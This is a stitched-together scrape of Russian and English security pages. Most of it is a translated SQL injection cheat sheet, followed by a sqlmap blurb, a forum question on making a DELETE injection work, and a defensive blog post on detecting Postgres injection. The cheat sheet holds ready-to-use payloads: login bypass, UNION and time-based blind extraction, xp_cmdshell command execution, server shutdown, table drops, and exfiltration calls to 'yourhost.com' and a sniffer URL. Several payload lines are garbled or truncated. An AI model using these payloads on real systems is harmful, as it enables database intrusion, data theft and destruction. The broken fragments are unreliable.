    Results will be saved in HTTP access logs

    ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(()||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(()||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    = You want to run the query.

    Шпаргалка по SQL инъекциям

    Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL, Microsoft SQL Server, ORACLE и PostgreSQL.

    0. Введение
    В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

    В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

    Используемые обозначения:
    • M (MySQL);
    • S (SQL Server);
    • O (Oracle);
    • P (PostgreSQL);
    • + (возможно на других БД);
    • * (требуются специальные условия).

    1. Строчные комментарии
    Комментарии, как правило, полезны для игнорирования части запроса.
    Синтаксис:
    — (SM): DROP sampletable;—
    # (M): DROP sampletable;#
    Пример:
    Username: admin’ —
    Сгенерированный запрос: SELECT * FROM members WHERE username = ‘admin’—‘ AND password = ‘password’
    Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

    2. Блочные комментарии
    С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
    Синтаксис:
    /*Комментарий*/ (SM):
    DROP/*комментарий*/sampletable
    DR/**/OP/*обходим_чёрный_список*/sampletable
    SELECT/*замена_пробела*/password/**/FROM/**/Members

    /*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
    Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
    Примеры:
    ID: 10; DROP TABLE members /*
    Игнорируем оставшуюся часть запроса, также как строчным комментарием.

    ID: /*!32302 10*/
    вы получите такой же ответ, как и при >

    ID: /*!32302 1/0, */
    Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
    Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

    3. Последовательность запросов
    Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.

    Зелёный — поддерживается; чёрный — не поддерживается; серый — неизвестно.
    Синтаксис:
    ; (S): SELECT * FROM members; DROP members—
    Один запрос закончился, следующий начался.
    Пример:
    ID: 10;DROP members —
    Сгенерированный запрос: SELECT * FROM products WHERE >
    Этот запрос удалит таблицу members после обычного запроса.

    4. Условные операторы
    Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
    Синтаксис:
    IF(condition, true-part, false-part) (M): SELECT IF(1=1,’true’,’false’)
    IF condition true-part ELSE false-part (S): IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
    IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
    SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
    пример:
    if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
    выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

    5. Использование чисел
    Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
    Синтаксис:
    0xHEX_ЧИСЛО (SM):
    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (это не число, а строка) (M)
    SELECT 0x50 + 0x45 (теперь это число) (M)
    Примеры:
    SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    Покажет содержание файла c:\boot.ini

    6. Конкатенация строк
    Операции над строками могут помочь обойти фильтры или определить базу данных.
    Синтаксис:
    + (S): SELECT login + ‘-‘ + password FROM members
    || (*MO): SELECT login || ‘-‘ || password FROM members
    Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

    CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

    7. Строки без кавычек
    Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
    Синтаксис:
    SELECT 0x457578 (M)

    В MySQL есть простой способ представления строки в виде hex-кода:
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

    Возвращает строку “KLM”:
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    SELECT CHR(75)||CHR(76)||CHR(77) (O)
    SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

    8. Преобразование строк и чисел.
    Синтаксис:
    ASCII() (SMP): SELECT ASCII(‘a’)
    Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

    CHAR() (SM): SELECT CHAR(64)
    Переводит ASCII-код в соответствующий символ.


    9. Оператор UNION
    С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
    Пример:
    SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
    Это позволит объединить результаты из таблиц news и members

    10. Обход проверки подлинности (SMO+)
    Примеры:
    admin’ —
    admin’ #
    admin’/*
    ‘ or 1=1—
    ‘ or 1=1#
    ‘ or 1=1/*
    ‘) or ‘1’=’1—
    ‘) or (‘1’=’1—

    11. Обход проверки подлинности с использованием MD5
    Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
    Пример (MSP):
    Username : admin
    Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
    81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

    12. Error Based
    12.1 Определение столбцов с помощью HAVING BY(S)
    Пример:
    В том же порядке
    ‘ HAVING 1=1 —
    ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
    ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
    ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
    …………….
    Продолжайте до тех пор, пока не прекратите получать ошибки.

    12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
    Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
    ORDER BY 1—
    ORDER BY 2—
    ORDER BY 3—
    ………………..
    Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

    13. Определение типа данных
    Всегда используйте UNION вместе с ALL.
    Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
    Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
    Примеры:
    ‘ union select sum(columntofind) from users— (S) :
    Если вы не получаете сообщение об ошибке, значит столбец является числовым.

    SELECT * FROM Table1 WHERE >
    Можно использовать CAST() или CONVERT()

    11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

    11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    Если нет ошибки, значит первый столбец является числом.

    11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
    Если появилась ошибка, значит второй стоблец не является числом.

    11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
    Если нет ошибки, значит второй столбец является строкой.
    ……………..

    14. Простая вставка (MSO+)
    Пример:
    ‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

    15. Сбор информации
    Синтаксис:
    @@version (MS)
    Вы можете узнать версию БД и более подробную информацию.
    Пример:
    INSERT INTO members(id, user, pass) VALUES(1, »+SUBSTRING(@@version,1,10) ,10)

    16. Сложная вставка (S)
    Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
    Синтаксис:
    file(%systemroot%\system32\inetsrv\MetaBase.xml)
    Затем вы можете в ней найти пути приложения.
    Пример:
    1. Создать таблицу foo( строка типа varchar(8000) )
    2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
    3. Удалите временную таблицу и повторите для другого файла.

    17. BCP (S)
    Записывает текстовый файл. Для этого требуются учётные данные.
    Пример:
    bcp «SELECT * FROM test..foo» queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

    18. VBS, WSH в SQL Server (S)
    Вы можете использовать VBS, WSH скрипты в SQL Server.
    Пример:
    Username:’; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ –

    19. Выполнение системных команд (S)
    Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
    Пример:
    EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
    EXEC master.dbo.xp_cmdshell ‘ping ‘

    20. Специальные таблицы в SQL Server (S)
    Примеры:
    Сообщения об ошибках: master..sysmessages
    Связанные серверы: master..sysservers
    Password SQL Server 2000: masters..sysxlogins
    Password SQL Server 2005 : sys.sql_logins

    21. Несколько хранимых процедур для SQL Server (S)
    Синтаксис:
    Cmd Execute (xp_cmdshell)
    Registry Stuff (xp_regread):
    xp_regaddmultistring
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues
    xp_regread
    xp_regremovemultistring
    xp_regwrite
    Managing Services (xp_servicecontrol)
    Medias (xp_availablemedia)
    ODBC Resources (xp_enumdsn)
    Login mode (xp_loginconfig)
    Creating Cab Files (xp_makecab)
    Domain Enumeration (xp_ntsec_enumdomains)
    Process Killing (требуется PID) (xp_terminate_process)
    Add new procedure (sp_addextendedproc)
    Write text file to a UNC or an internal path (sp_makewebtask)
    Примеры:
    exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
    exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver

    22. MSSQL Bulk Notes
    Примеры:
    SELECT * FROM master..sysprocesses /*WHERE sp >
    DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
    HOST_NAME()
    IS_MEMBER (Transact-SQL)
    IS_SRVROLEMEMBER (Transact-SQL)
    OPENDATASOURCE (Transact-SQL)
    INSERT tbl EXEC master..xp_cmdshell OSQL /Q»DBCC SHOWCONTIG»
    OPENROWSET (Transact-SQL) — http://msdn2.microsoft.com/en-us/library/ms190312.aspx

    23. SQL-инъекция в LIMIT (M) запросах
    Пример:
    SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;
    Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

    24. Выключение SQL Server (S)
    Пример:
    ‘;shutdown –

    25. Enabling xp_cmdshell in SQL Server 2005
    Синтаксис:
    По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
    EXEC sp_configure ‘show advanced options’,1
    RECONFIGURE
    EXEC sp_configure ‘xp_cmdshell’,1
    RECONFIGURE

    26. Поиск структуры БД в SQL Server (S)
    Примеры:
    SELECT name FROM sysobjects WHERE xtype = ‘U’
    Получение пользовательских таблиц

    SELECT name FROM syscolumns WHERE )
    Получение названий столбцов

    27. Перемещение записей (S)
    Примеры:
    . WHERE users NOT IN (‘First User’, ‘Second User’)
    Используйте WHERE вместе с NOT IN или NOT EXIST

    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

    SELECT * FROM Product WHERE >AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i. ) as p where p.x=21

    28. Быстрый способ извлечь данные из Error Based SQL-инъекции в SQL Server (S)
    ‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’ ‘+name FROM syscolumns WHERE ) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;—

    29. Поиск структуры БД в MySQL (M)
    Примеры:
    SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’
    Получение пользовательских таблиц

    SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’
    Получение названий столбцов

    30. Поиск структуры БД в Oracle (O)
    Примеры:
    SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’
    Получение пользовательских таблиц

    SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’
    Получение названий столбцов

    31. Слепые инъекции
    В качественном приложении вы не сможете увидеть сообщения об ошибках. Вы не сможете использовать оператор UNION и Error Based атаки. Вам придётся использовать слепые SQL-инъекции для извлечения данных. Существует два типа слепых инъекций.
    Обычная слепая инъекция: вы не можете видеть результаты запросов на странице, но можете определить результат из ответа или HTTP-статуса.
    Полностью слепая инъекция: Вы не увидите никакой разницы в выходных данных.
    В обычных слепых инъекциях вы можете использовать операторы IF и WHERE, в полностью слепых инъекциях вам нужно использовать некоторые функции ожидания и сравнивать время отклика. Для этого можно использовать WAIT FOR DELAY ‘0:0:10’ в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
    Пример:
    Этот пример основан на реальной эксплуатации слепой инъекции на SQL Server.

    TRUE : SELECT >78—

    FALSE : SELECT >103—

    FALSE : SELECT >89—

    FALSE : SELECT >83—

    TRUE : SELECT >79—

    FALSE : SELECT >80—

    Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

    32. Полностью слепая инъекция
    Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
    Синтаксис:
    WAIT FOR DELAY ‘time’ (S)
    Функция просто ждёт указанное время, не загружая процессор.
    Примеры:
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
    Product —
    Product —
    Product —
    Product —
    Product —
    Product —
    Синтаксис:
    BENCHMARK(howmanytimes, do this) (M)
    Пример:
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
    Проверяем наличие пользователя root.

    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
    Проверяем наличие таблицы в MySQL
    Синтаксис:
    pg_sleep(seconds) (P)
    Sleep for supplied seconds.

    sleep(seconds) (M)
    sleep for supplied seconds.

    bms_pipe.receive_message (O)
    sleep for supplied seconds.
    Пример:
    (SELECT CASE WHEN (NVL(ASCII(SUBSTR((),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)
    – ваш запрос.
    Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

    33. Полезные функции MySQL
    Синтаксис:
    MD5()
    SHA1()
    PASSWORD()
    ENCODE()
    COMPRESS()
    ROW_COUNT()
    SCHEMA()
    VERSION()

    34. Second Order SQL Injections
    Обычно, вы вставляете запрос для SQL-инъекции в поле и ожидаете, что он не отфильтруется.
    Пример:
    Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘
    Email : xx@xx.com
    Если приложение использует имя поля хранимой процедуры или функции, то вы можете использовать это для инъекции.

    35. Использование SQL Server для извлечения NTLM-хешей
    Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

    Синтаксис:
    UNC-путь: ‘\\YOURIPADDRESS\C$\x.txt’
    36. Другие примеры инъекций
    SQL Server:
    ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ()+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    создаёт DNS-запрос к .yourhost.com
    ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+()+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    создаёт DNS-запрос к .yourhost.com

    — ваш запрос.
    MySQL:
    ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,(), ‘yourhost.com\\’)))
    Создаёт NBNS/DNS-запрос к yourhost.com
    ?vulnerableParam=-99 OR (SELECT () INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Записывает данные в ваш файл
    — ваш запрос.
    Oracle:
    ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||()||») FROM DUAL)
    Сниффер будет сохранять результаты
    ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||()||’.html’) FROM DUAL)
    Результаты будут сохранены HTTP-логи
    ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(()||’.yourhost.com’) FROM DUAL)
    Вам нужно анализировать трафик DNS-запросов к yourhost.com
    ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(()||’.yourhost.com’,80) FROM DUAL)
    Вам нужно анализировать трафик DNS-запросов к yourhost.com
    — ваш запрос.

    Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet.

    Статья Автоматическая инъекция SQL и инструмент захвата базы данных: sqlmap

    Pirnazar

    Well-known member

    Sqlmap является открытым инструментом для проведения пентестов, который автоматизирует процесс обнаружения и эксплуатации SQL инъекций, а также процесс захвата серверов базы данных. Он идет с мощным встроенным движком обнаружения и с множеством свойств для выполняющего пентест. Также в нем присутствует широкий диапазон коммутаторов, начиная с fingerprinting базы данных и более обширной выборки данных из нее, и заканчивая получением доступа к лежащей в основе файловой системе и выполнением команд в операционной системе с помощью out-of-band соединения.

    Перейти на страницу документации sqlmap
    Установка
    Вы можете скачать самый последний tarball нажав

    Предпочтительно, скачать sqlmap путем клонирования

    SQL инъекция в PostgreSQL

    Мой clienet (андроид) отправляет данные пользователя в виде пользователя и мой сервлет просто вводит эти детали в к базе данных (Postgre SQL). Я попытался дать сделать SQL атаки инъекции, давая ;DELETE FROM tbl_name; в поле имени пользователя.
    Но только PostgreSQL рассматривает его как ценность и вводит его в качестве имени пользователя. Как сделать нападение SQLINjection. (Я не сделал какой — либо проверки в Postgre SQL или сервлета).
    Означает ли это , что это SQLInjection PostgreSQL атаки устойчивы?

    Я использую следующие инструкции , чтобы вставить данные:

    Имя пользователя содержит ;DELETE FROM userdetail; .
    Я попробовал следующее также:

    Но пятерки следующее сообщение об ошибке:

    Я также попытался это:

    Это дает следующее сообщение об ошибке:

    но не удаляет записи таблицы. Как мне сделать это удалить таблицы записи?

    Ключевая Хитрость заключается в том, что полная строке оператора должна

    • сделать что — то инновационное
    • остаются в силе SQL

    До сих пор ответы опустили вторую часть. Но неверный оператор SQL будет прервать транзакцию и , следовательно , скорее всего , не делает ничего. Если вы установили autoCommit в true этой атаке может быть проще.

    Но эта строка должна на хитрость в «чистом» виде:

    Примечание: В результате строка это (разрывы строк только для лучшего чтения):

    И INSERT IGNORE часть является полной и правильной (не предполагающая никаких уникальных индексов столкновений , конечно) , а также DELETE правильно. Потенциально задеть остальные маскируется трейлинг SQL комментарий — .

    шляпа тип атаки , что вы описываете — даже если вы получите использовать одинарные кавычки «правильные» — не будет работать с PostgreSQL Это не работает , так как драйвер JDBC не позволяет запускать более одного оператора в одном Statement.execute() вызове. Он будет выдавать ошибку ( «неверный символ» , указывающий на;)
    ( К сожалению, это верно только для Oracle)

    Есть и другие сценарии, которые будут работать с плохо письменным заявлением.

    Предполагая, что приложение проверяет имя пользователя / пароль, как это (обратите внимание, что это очень упрощенный пример!)

    то возможно, атака может быть, чтобы ввести значение:

    Это ветер со следующей генерируемой SQL

    Который всегда будет верно и можно войти в систему без пароля.

    Our Blog

    Ongoing observations by End Point people

    Detecting Postgres SQL Injection

    SQL injection attacks are often treated with scorn among seasoned DBAs and developers—​“oh it could never happen to us!”. Until it does, and then it becomes a serious matter. It can, and most likely will eventually happen to you or one of your clients. It’s prudent to not just avoid them in the first place, but to be proactively looking for attacks, to know what to do when they occur, and know what steps to take after you have cleaned up the mess.

    What is a SQL injection attack? Broadly speaking, it is a malicious user entering data to subvert the nature of your original query. This is almost always through a web interface, and involves an “unescaped” parameter that can be used to change the data returned or perform other database actions. The user “injects” their own SQL into your original SQL statement, changing the query from its original intent.

    For example, you have a page in which the a logged-in customer can look up their orders by an order_number, a text field on a web form. The query thus looks like this in your code:

    Because there is nothing to limit what the user enters in the order_number field, they can inject their own SQL into to the middle of your SQL query by creating a non-standard order_number such as:

    This would return information on anyone’s order, without checking the order_owner column, as the SQL sent to the database would become:

    Much more creative (and destructive) choices are available to the attacker as well, such as:

    The above is a very simplistic generic-language example, but there are many ways for SQL injection attacks to work, including software out of your direct control (anything in your chain, from database driver to language to the database itself) and non-obvious angles (such as getting creative with multi-byte languages).

    The correct approach to the above would be to use placeholders:


    Reaction

    So you’ve just detected a SQL injection attack. Don’t panic! Okay, perhaps panic a little bit. The first order of business is to, as quickly as possible, disable access and prevent the attacker from doing anything else. Their next injected SQL statement could be a DROP TABLE. Do as much as is needed to stop it right away—​don’t worry about fixing the hole yet. Stop Apache, disable all CGI, shut down your database, whatever it takes. Yes, this will cause a loss of business for a busy site but so will that potential DROP TABLE command! Once things are disabled, start patching up the holes. If it is a well isolated, obvious fix, bring things back up. If not, look for similar code with the same problem, then bring things back up. There are now some important steps to take:

    • Double check all similar code for any other problems.
    • Check your logs carefully to see if this was an isolated event, or if the hole had been used before. If you are relying on SQL errors for detection, a careful attacker may have already successfully injected some SQL. See below for forensic tactics.
    • Learn why this happened in the first place. Didn’t update a driver? Someone just wrote some bad code? Something else? Fix it at both the immediate technical and long-term procedural level.

    Detection

    Detection is the most important part of this article. If someone were to start a SQL injection attack against your site right now, would you even know? How quickly?

    Fortunately, SQL injection attacks almost always generate some SQL errors as the attacker tries to work around your SQL. This is the number one way to detect an attack while it is happening. We recommend the invaluable tail_n_mail for this task. For our clients, we have tail_n_mail running via cron every minute, scanning for new and interesting errors and mailing them out to us. Thus, detection is usually within minutes.

    In addition to pure SQL errors, permission errors often occur as well, as the attacker tries to do something not allowed by the current database user, such as creating a table or running the COPY command. Remember to never treat a strange error as an unintersting isolated event, or assume that it is probably one of your developers making a typo. Follow up on everything.

    Sometimes, when the attacker is very good, no SQL errors are generated, and the problems have to be detected in other ways. One way is to scan for common SQL injection items. The trick is filtering out valid SQL while finding injected ones. In most cases, attacker access to your database is fairly limited without knowing the names of your tables, columns, functions, and views, so one thing to look for is references to system tables such as pg_class and pg_attribute, system views such as pg_tables and pg_stat_activity, the pg_sleep() function, and the information_schema schema. (pg_sleep() is often used in “blind SQL” attacks, to let the attacker know if something worked or not by the inclusion of a delay, when there may be no other direct feedback from their injection). While looking for these items is not as easy to setup as looking for errors, it can be fairly easy to develop and exclude a whitelist of things that should be accessing those items.

    Another thing to watch out for strange offsets. Because the information an attacker can get back is often limited to a row at a time due to the limitations of the original query, SQL injections often pull back the same information from, say, information_schema.tables, with a “LIMIT 1 OFFSET 1” tacked on, Then they call the page again and inject their SQL, but with an offset of 2, then an offset of 3, etc. Nothing says SQL injection like seeing an OFFSET 871 in your logs.

    Speaking of logs, you may have noticed that the above checks will only work if you are logging all statements, by adjusting log_statement in your postgresql.conf file. Setting this parameter to ‘all’ is highly recommended, and SQL injection detection (and forensics!) are merely two of the many reasons for doing so.

    If you don’t have log_statement set to ‘all’, your only hope of direct detection is if one of the queries happens to get logged for some other reason, such as going over your log_min_duration_statement setting. Good luck with that. /sarcasm.

    There are other methods of detecting SQL injection, but they can all be classified as reacting to side effects. Your logs may grow larger, a sysadmin on your team may notice some odd network patterns, your business intelligence people may come across some unexplained buying patterns, etc. Intuition from experienced people is a powerful tool: follow up on those hunches and nagging feelings!

    Prevention

    Preventing SQL injection is mostly a matter of following some standard software development practices. Basically, you want your code up to date, well vetted, and easy to read and revert. Here are some guidelines:

    Use version control

    More specifically, use git. For everything related to your site. Application code, HTML pages, system configurations. There are many advantages to git, but it is particularly useful when you are (quickly!) trying to figure out how some bad code (e.g. with SQL injection holes) got into your app, and what safe version you can replace it with. The powers of git log -p, git bisect, git blame, and git checkout will make you wonder how you ever lived without them.

    More than one set of eyes

    Never commit code that hasn’t been looked at by at least one other person not involved in its writing. This can be as informal as leaning over and asking someone else to look at the patch, to setting up a complex enforcement system via something like gerrit. The most important thing is to have it reviewed by someone qualified, and to note the review in your commit message.

    Email is a great way to do this, especially if you have a list of people qualified to give a review of the code in question. So, database changes could go to a “dbgroup” list, and one or more people on the list will review and reply.

    Another nice thing is a post-commit hook that mails committed code as a diff to a wide audience, such as all engineers in the company. Sure, most people may ignore it, but the more eyes the better. On that note, make sure the age-old appeal of heavily commenting code is followed, especially code that is trying to fetch information from a database.

    Teach people about SQL injection

    Using placeholders is the only truly safe way to write code. Make sure everyone knows this, and show some examples of SQL injection problems to new hires so they know what to look out for and what the consequences will be.

    Never assume any database input is safe.

    Never, ever assume database input is safe, or will remain safe. Always use prepared statements aka placeholders. You say you scrubbed that variable with a regular expression above the SQL call? Someone will tweak that regex someday.

    Be proactive in looking for problems

    See the section about about using tail_n_mail. There are also companies / tools that will attempt to find SQL injection problems in your application. While not foolproof, these can be useful, particularly if you have a very large website with a very large codebase.

    Keep your software up to date

    Sure, your software is free of all problems, but what about the framework you are using? The language? The database? And the database drivers? They may have a SQL injection problem, and, more importantly, they may have already patched it. Run the most recent version, and make sure you are on all the relevant announcement lists so you hear about new problems and new releases of everything important in your tool chain.

    Compartmentalize

    In these days of complex frameworks and multiple levels of abstraction, direct SQL access is often hard or impossible to do. Which can be a very good thing, as this is often a good protection against SQL injection. Keep in mind however that there are always other ways to reach your database, such as the boss’s daughter or son whipping up a quick PHP script so he can run some reports from home against the production database.

    Use the least privileges possible

    Make sure you are taking full advantage of roles and users in your database. This means an application should have the bare minimum rights it needs to do its job. No creating of functions, no creating tables, and explicit GRANTs to the tables/views/functions it truly needs. Limit severely what runs as a superuser. If something really needs to run as a superuser, consider wrapping the data/logic in a SECURITY DEFINER function. Having separate “readonly” and “readwrite” versions of each application’s user is a great idea as well, and may even help you to scale by being able to send your readonly user to a different database (via hot standby or a Bucardo/Slony slave), or even send them to different pg_bouncer ports with different pooling methods.

    Access can be further limited by the use of views, which can limit which columns and rows are visible to a user, or you could even limit all application user access to going through stored procedures.

    URLs are public

    Never assume an application, URL, or API will remain internal. It will end up accessible to an attacker someday, somehow. Treat everything with the same careful, paranoid, care and always use placeholders.

    Forensics

    So you’ve just closed a SQL injection hole, and carefully audited your code to ensure no other holes exist. Now what? Forensics! Which means, a careful examination after the crime. In this case, we want to see what damage the intruder managed to cause.

    The first thing to do is figure out what potential harm there is. You can do this by assuming the worst case scenario. What database user was used in the attack, and what rights does it have? Could tables have been updated? Data deleted? Were tables dropped or views altered? This may be a good time to run something like same_schema in historical mode to find out the answer to that last question.

    Now comes the hard part: seeing what was changed. If you do not have log_statment=’all’ set in your postgresql.conf (as I will once again highly recommend you should have) finding what has changed becomes a very, very difficult task. Your best bet at this point is to go to your backups and start comparing things, and perhaps running some sanity checks on your data (e.g. unusually low prices on things you sell, new mega-useful coupons, users with elevated rights). If you know about when the attack started, you could, in theory, look on disk to see which relations may have been altered to narrow the list of changed data. You will also have to assume that the attacker captured all the possible data the database user was allowed to see.

    Enough about the worst case scenario above—​what about those of us with log_statment=’all’? Well, now we go through the logs to see what exact SQL was injected, and what commands have been succesfully run. At this point, you should know what the SQL involved in the attack looks like, and more to the point, where in your code it came from. Now its a matter of filtering out the good stuff from the bad. Luckily, this is a pretty easy task.

    What you will need to do is write a quick script to parse your logs, find the type of query that had the hole, and determine the “bad” ones. Then you can look closer and have it report exactly what commands the attacker ran.

    Most SQL injection results in a string of additional SQL in place of where a single value should be, with an adding of quotes. So, for example, if someone forgot to escape an OFFSET at the end of the query, your program could simply look for any variations of the query that ended in something other than OFFSET \d$. If the unescaped value was in the middle of the query, I find that a simple but reliable test is to look for whitespace or a ‘’ character. This assumes that whitespace or ‘’ would not normally appear for that value, but as long as it’s not common, it should still work. (The ‘’ is needed because one can use SQL comments as a means of whitespace, for example **SELECT///foo/FROM//pg_tables). Your script should ignore any queries in which the value has no whitespace or ‘*’ character, and focus on the ones that do. Then normalize the queries (for example collapse ones that differ only by the OFFSET value), and generate a report. Of course, the exact method to differentiate between “good” and “bad” queries will vary. Find your best Perl hacker and set them on it.

    I should point out that a script is almost always necessary, for three reasons. First, manually reading logs is a time-wasting and error-prone bore. Second, log_statment=’all’ leads to some really, really big logs. Third, SQL injection attacks usually involve some sort of scripted attack, which can mean a lot of entries. For example, a client recently had over 8000 lines from a SQL injection attack spread out over 20 GB of log files. (This one had a happy ending: the attacker was both not very competent and the database user was fairly locked down, so no damage was done.)

    So remember: SQL injection can happen to you. Make sure you are able to detect it, recognize it, fix it, and inspect the damage!

    HackWare.ru

    Этичный хакинг и тестирование на проникновение, информационная безопасность

    Уязвимость SQL-инъекция (ч. 1): Основы SQLi, простая инъекция с UNION

    SQL-инъекция для новичков

